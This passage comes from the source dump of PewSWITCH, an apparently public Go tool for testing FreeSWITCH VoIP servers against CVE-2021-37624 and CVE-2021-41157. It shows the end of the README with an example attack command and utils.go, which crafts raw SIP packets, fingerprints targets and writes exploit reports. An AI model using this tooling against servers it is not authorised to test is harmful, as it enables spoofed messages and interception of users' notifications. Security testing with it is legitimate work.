123 | - `as-feature-event` 124 | - `dialog` 125 | - `line-seize` 126 | - `call-info` 127 | - `sla` 128 | - `include-session-description` 129 | - `presence` 130 | - `presence.winfo` 131 | - `message-summary` 132 | - `refer` 133 | 134 | This behaviour can be changed by the `-events` flag which takes a comma separated list of events to monitor. Example: 135 | ```groovy 136 | ./pewswitch -cve 'cve-2021-41157' -events message-summary,presence -exts 1000,1002 freeserver.voip.com 137 | ``` 138 | 139 | ### Setup 140 | You can make use of the pre-built binaries from the [Releases](https://github.com/0xInfection/PewSWITCH/releases) section. Or, if you prefer to compile the code yourself, you'll need Go > 1.13. To build the tool, you can run `go build` which will give you a binary to run. 141 | 142 | ### Version and License 143 | The tool is available under MIT License. Feel free to do whatever you want to do with it. :) 144 | 145 | Currently, PewSWITCH is at v0.1. 146 | 147 | ### Bugs and features requests 148 | New requests and features? Feel free to create an [issue](https://github.com/0xInfection/pewswitch/issues/new/) or a [pull request](https://github.com/0xInfection/pewswitch/pulls). 149 | 150 | If you have anything to discuss you can reach out to me via twitter/email on my profile. 151 | 152 | > Created with ♡ by [Pinaki](https://twitter.com/0xInfection). -------------------------------------------------------------------------------- /utils.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bufio" 5 | "encoding/csv" 6 | "encoding/json" 7 | "fmt" 8 | "io/ioutil" 9 | "log" 10 | "math/rand" 11 | "net" 12 | "os" 13 | "path" 14 | "strings" 15 | "sync" 16 | "time" 17 | ) 18 | 19 | type csvWriter struct { 20 | locker *sync.Mutex 21 | writer *csv.Writer 22 | } 23 | 24 | const letterRunes = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" 25 | 26 | func initCSVWriter(fname string) (*csvWriter, error) { 27 | csvf, err := os.Create(fname) 28 | if err != nil { 29 | return nil, err 30 | } 31 | wr := csv.NewWriter(csvf) 32 | return &csvWriter{ 33 | locker: &sync.Mutex{}, 34 | writer: wr, 35 | }, nil 36 | } 37 | 38 | func (wr *csvWriter) writeRow(row []string) { 39 | wr.locker.Lock() 40 | wr.writer.Write(row) 41 | wr.locker.Unlock() 42 | } 43 | 44 | func (wr *csvWriter) FlushBuffer() { 45 | wr.locker.Lock() 46 | wr.writer.Flush() 47 | wr.locker.Unlock() 48 | } 49 | 50 | // checks if a specific item is in a slice 51 | func isItemIn(item string, allitems *[]string) bool { 52 | for x := range *allitems { 53 | if item == (*allitems)[x] { 54 | return true 55 | } 56 | } 57 | return false 58 | } 59 | 60 | func genRandStr(n int) string { 61 | b := make([]byte, n) 62 | for i := range b { 63 | b[i] = letterRunes[rand.Intn(len(letterRunes))] 64 | } 65 | return string(b) 66 | } 67 | 68 | func getLocalAddr() string { 69 | conn, err := net.Dial("udp", "8.8.8.8:80") 70 | if err != nil { 71 | log.Fatalln(err) 72 | } 73 | conn.Close() 74 | return conn.LocalAddr().String() 75 | } 76 | 77 | func sendPacket(hostport string, payload string, deadline int, termConn bool) (net.Conn, error) { 78 | conn, err := net.DialTimeout("udp", hostport, time.Duration(dialTimeout)*time.Second) 79 | if err != nil { 80 | return nil, err 81 | } 82 | conn.SetDeadline(time.Now().Add(time.Duration(deadline) * time.Second)) 83 | _, err = conn.Write([]byte(payload)) 84 | if err != nil { 85 | return nil, err 86 | } 87 | if termConn { 88 | err = conn.Close() 89 | if err != nil { 90 | return nil, err 91 | } 92 | } 93 | return conn, nil 94 | } 95 | 96 | func readExtensionsFromFile(fname string) *[]string { 97 | var exts []string 98 | file, err := os.Open(fname) 99 | if err != nil { 100 | log.Fatalln(err.Error()) 101 | } 102 | defer file.Close() 103 | 104 | scanner := bufio.NewScanner(file) 105 | for scanner.Scan() { 106 | exts = append(exts, scanner.Text()) 107 | } 108 | 109 | if err := scanner.Err(); err != nil { 110 | log.Fatalln(err.Error()) 111 | } 112 | return &exts 113 | } 114 | 115 | func readCsvFile(filePath string) [][]string { 116 | f, err := os.Open(filePath) 117 | if err != nil { 118 | log.Fatal("Unable to read input file "+filePath, err) 119 | } 120 | defer f.Close() 121 | 122 | csvReader := csv.NewReader(f) 123 | records, err := csvReader.ReadAll() 124 | if err != nil { 125 | log.Fatal("Unable to parse file as CSV for "+filePath, err) 126 | } 127 | 128 | return records 129 | } 130 | 131 | func checkAlive(targets *[]string) map[string]bool { 132 | var dmap = make(map[string]bool) 133 | for _, targ := range *targets { 134 | dmap[targ] = false 135 | conn, err := net.DialTimeout("udp", targ, time.Duration(dialTimeout)*time.Second) 136 | if err != nil { 137 | log.Println(err.Error()) 138 | continue 139 | } 140 | defer conn.Close() 141 | 142 | var payload string 143 | payload += fmt.Sprintf("OPTIONS sip:1000@%s;transport=UDP SIP/2.0\r\n", targ) 144 | payload += fmt.Sprintf("Via: SIP/2.0/UDP %s;branch=z9hG4bK001b84f6;rport\r\n", conn.LocalAddr().String()) 145 | payload += "Max-Forwards: 70\r\n" 146 | payload += "To: \"PewSWITCH\" \r\n" 147 | payload += "From: \"PewSWITCH\" ;tag=61633638380343437\r\n" 148 | payload += "User-Agent: pewswitch\r\n" 149 | payload += "Call-ID: AABkh3bjAZ3k2j3br5920I0\r\n" 150 | payload += fmt.Sprintf("Contact: sip:1000@%s\r\n", conn.LocalAddr().String()) 151 | payload += "CSeq: 1 OPTIONS\r\n" 152 | payload += "Accept: application/sdp\r\n" 153 | payload += "Content-Length: 0\r\n" 154 | payload += "\r\n" 155 | 156 | conn.SetDeadline(time.Now().Add(5 * time.Second)) 157 | _, err = conn.Write([]byte(payload)) 158 | if err != nil { 159 | continue 160 | } 161 | xbuf := make([]byte, 8192) 162 | _, err = conn.Read(xbuf) 163 | if err != nil { 164 | continue 165 | } 166 | if strings.HasPrefix(string(xbuf), "SIP/2.0") { 167 | dmap[targ] = true 168 | log.Printf("Host %s is up and responding to SIP.", targ) 169 | } 170 | server := serverHead.FindAllSubmatch(xbuf, -1) 171 | if server != nil { 172 | servstr := strings.ToLower(string(server[0][1])) 173 | if !strings.Contains(servstr, "freeswitch") { 174 | log.Println("Heuristics indicate that the server might not be FreeSWITCH!") 175 | } else { 176 | log.Println("Heuristics indicate that the server is FreeSWITCH.") 177 | } 178 | } else { 179 | log.Println("No server header found. Skipping heuristic checks...") 180 | } 181 | } 182 | return dmap 183 | } 184 | 185 | func postProcess(obj *[]fResult) *[]fResult { 186 | var ( 187 | uniqhosts []string 188 | xresult fResult 189 | count = 0 190 | newObj = make([]fResult, 0) 191 | ) 192 | for _, x := range *obj { 193 | uniqhosts = append(uniqhosts, x.Host) 194 | } 195 | uniqhosts = *sortUnique(&uniqhosts) 196 | for _, mhost := range uniqhosts { 197 | xflag := false 198 | for _, res := range *obj { 199 | if res.Host == mhost { 200 | if !xflag { 201 | if count > 0 { 202 | newObj = append(newObj, xresult) 203 | } 204 | xresult = res 205 | xflag = true 206 | continue 207 | } 208 | xresult.Details.CVE202137624.ExploitDetails = append(xresult.Details. 209 | CVE202137624.ExploitDetails, res.Details.CVE202137624.ExploitDetails...) 210 | xresult.Details.CVE202141157.ExploitDetails = append(xresult.Details. 211 | CVE202141157.ExploitDetails, res.Details.CVE202141157.ExploitDetails...) 212 | count++ 213 | } 214 | } 215 | } 216 | newObj = append(newObj, xresult) 217 | return &newObj 218 | } 219 | 220 | // writeToJSON writes the results of a scan to the specified directory 221 | func writeToJSON(obj *[]fResult) error { 222 | obj = postProcess(obj) 223 | for _, res := range *obj { 224 | xdata, err := json.MarshalIndent(res, "", " ") 225 | if err != nil { 226 | return err 227 | } 228 | if err = ioutil.WriteFile(path.Join(outdir, 229 | fmt.Sprintf("%s-report.json", res.Host)), xdata, 0644); err != nil { 230 | return err 231 | } 232 | } 233 | return nil 234 | } 235 | 236 | func writeToCSV(obj *[]fResult) error { 237 | var uniqhosts []string 238 | for _, x := range *obj { 239 | uniqhosts = append(uniqhosts, x.Host) 240 | } 241 | uniqhosts = *sortUnique(&uniqhosts) 242 | for _, xhost := range uniqhosts { 243 | xwriter, err := initCSVWriter(path.Join(outdir, fmt.Sprintf("%s-report.csv", xhost))) 244 | if err != nil { 245 | return err 246 | } 247 | xwriter.writeRow([]string{ 248 | "extension", 249 | "host", 250 | "cve", 251 | "is_vulnerable", 252 | "message", 253 | "timestamp", 254 | }) 255 | for _, res := range *obj { 256 | if xhost == res.Host { 257 | xdets := res.Details.CVE202137624.ExploitDetails 258 | if len(res.Details.CVE202137624.ExploitDetails) > 0 { 259 | for _, msg := range res.Details.CVE202137624.ExploitDetails[0].SentMessages { 260 | xwriter.writeRow([]string{ 261 | xdets[0].Extension, 262 | xhost, 263 | "CVE-2021-37624", 264 | fmt.Sprint(res.Details.CVE202137624.IsVulnerable), 265 | msg.Message, 266 | time.Time(msg.Timestamp).Format(time.RFC3339), 267 | }) 268 | } 269 | } 270 | xdetx := res.Details.CVE202141157.ExploitDetails 271 | if len(res.Details.CVE202141157.ExploitDetails) > 0 { 272 | for _, msg := range res.Details.CVE202141157.ExploitDetails[0].NotifsRecvd { 273 | xwriter.writeRow([]string{ 274 | xdetx[0].Extension, 275 | xhost, 276 | "CVE-2021-41157", 277 | fmt.Sprint(res.Details.CVE202137624.IsVulnerable), 278 | // santizing the CSV so it doesn't span across lines 279 | sanitiseRex.ReplaceAllLiteralString(msg.Message, "\\n"), 280 | time.Time(msg.Timestamp).Format(time.RFC3339), 281 | }) 282 | } 283 | } 284 | } 285 | } 286 | xwriter.FlushBuffer() 287 | } 288 | return nil 289 | } 290 | 291 | func sortUnique(sSlice *[]string) *[]string { 292 | var keys = make(map[string]bool) 293 | var list []string 294 | for _, entry := range *sSlice { 295 | if _, value := keys[entry]; !value { 296 | keys[entry] = true 297 | list = append(list, entry) 298 | } 299 | } 300 | return &list 301 | } 302 | --------------------------------------------------------------------------------